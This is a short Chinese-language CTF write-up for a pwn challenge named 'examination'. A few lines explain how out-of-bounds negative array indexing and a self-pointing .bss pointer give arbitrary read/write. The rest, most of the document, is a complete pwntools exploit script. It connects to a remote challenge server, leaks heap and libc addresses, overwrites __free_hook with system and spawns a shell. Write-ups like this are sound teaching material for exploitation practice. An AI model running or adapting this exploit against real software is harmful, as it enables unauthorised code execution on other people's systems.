csdn推给我大佬的题解
kayakaya
我发现这似乎才是正解 我解法更像个非预期。

浅记录一下。

我利用的漏洞是题目里面广泛出现的数组越界。
能向上越。
类似于这种地方
在这里插入图片描述
都可以向上越。

然后就在bss上找了个合适的地方。
在这里插入图片描述众所周知bss上有个很有意思的指针。
就在这个5008这里。
这个指针一直指向它自己。

所以就越界在这个地方建立了那个mod结构体
并且写了内容。
mod的地址又写在了5018的地方,我们又可以越界把5018当成student那个结构体。
最后就导致向上越界5008结构体可以直接控制5018结构体
实现任意读写。

所以我还纳闷为啥给的malloc没用上。

# -*- coding: utf-8 -*-
from pwn import*

context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "./examination"

local = 0
if local:
    r = process(pc)
    elf = ELF(pc)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
else:
    r = remote("124.70.130.92", 60001)
    elf = ELF(pc)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

def t_add(num):
    sla("choice>> ", "1")
    sla("enter the number of questions: ", str(num))

def t_give():
    sla("choice>> ", "2")

def write_view_1(index, comment):
    sla("choice>> ", "3")
    sla("which one? > ", str(index))
    sa("enter your comment:", comment)

def write_view_2(index, size, comment):
    sla("choice>> ", "3")
    sla("which one? > ", str(index))
    sla("please input the size of comment: ", str(size))
    sa("enter your comment:", comment)

def call(index):
    sla("choice>> ", "4")
    sla("which student id to choose?\n", str(index))

def change(index):
    sla("choice>> ", "5")
    sla("role: <0.teacher/1.student>: ", str(index))

def pray(content):
    sla("choice>> ", "6")
    sla("never pray again!\n", content)

def id(id):
    sla("choice>> ", "6")
    sla("input your id: ", str(id))

def ppray(index):
    id(index)
    sla("choice>> ", "3")

def set_mod(index, content):
    id(index)
    sla("choice>> ", "4")
    sla("enter your mode!\n", content)

def check_view(index):
    id(index)
    sla("choice>> ", "2")

sla("role: <0.teacher/1.student>: ", "0")
t_add(1)   #0
change(1)
ppray(0)
change(0)
t_give()
change(1)
id(0)
sla("6. change id\n", "2")
ru("0x")
heap_base = int(rc(12), 16) - 0x2a0
lg("heap_base") 
sa("add 1 to wherever you want! addr: ", b"00" + str(heap_base + 0x280))

change(0)
t_add(1)    #1
write_view_2(1, 0x350, "aaaa")
change(0)
t_add(1)    #2
write_view_2(2, 0x350, "aaaa")

change(1)
id(-15)
set_mod(-15, p64(heap_base + 0xa58) + p64(0xdeadbeef) + p64(heap_base + 0x338))
change(0)
write_view_1(-13, p64(0x711))
call(1)

change(1)
set_mod(-15, p64(heap_base + 0xa58) + p64(0xdeadbeef) + p64(heap_base + 0x340))
check_view(-13)
ru("here is the review:\n")
libc_base = u64(rc(6) + '\x00\x00') - 0x1ecbe0
free_hook=libc_base + libc.sym['__free_hook']
sys_addr=libc_base + libc.sym['system']
lg("libc_base") 
lg("free_hook") 
lg("sys_addr") 

change(1)
set_mod(-15, p64(heap_base + 0xa58) + p64(0xdeadbeef) + p64(free_hook))
change(0)
write_view_1(-13, p64(sys_addr))
t_add(1)  #1
write_view_2(2, 0x50, "/bin/sh\x00")
call(2)

ti()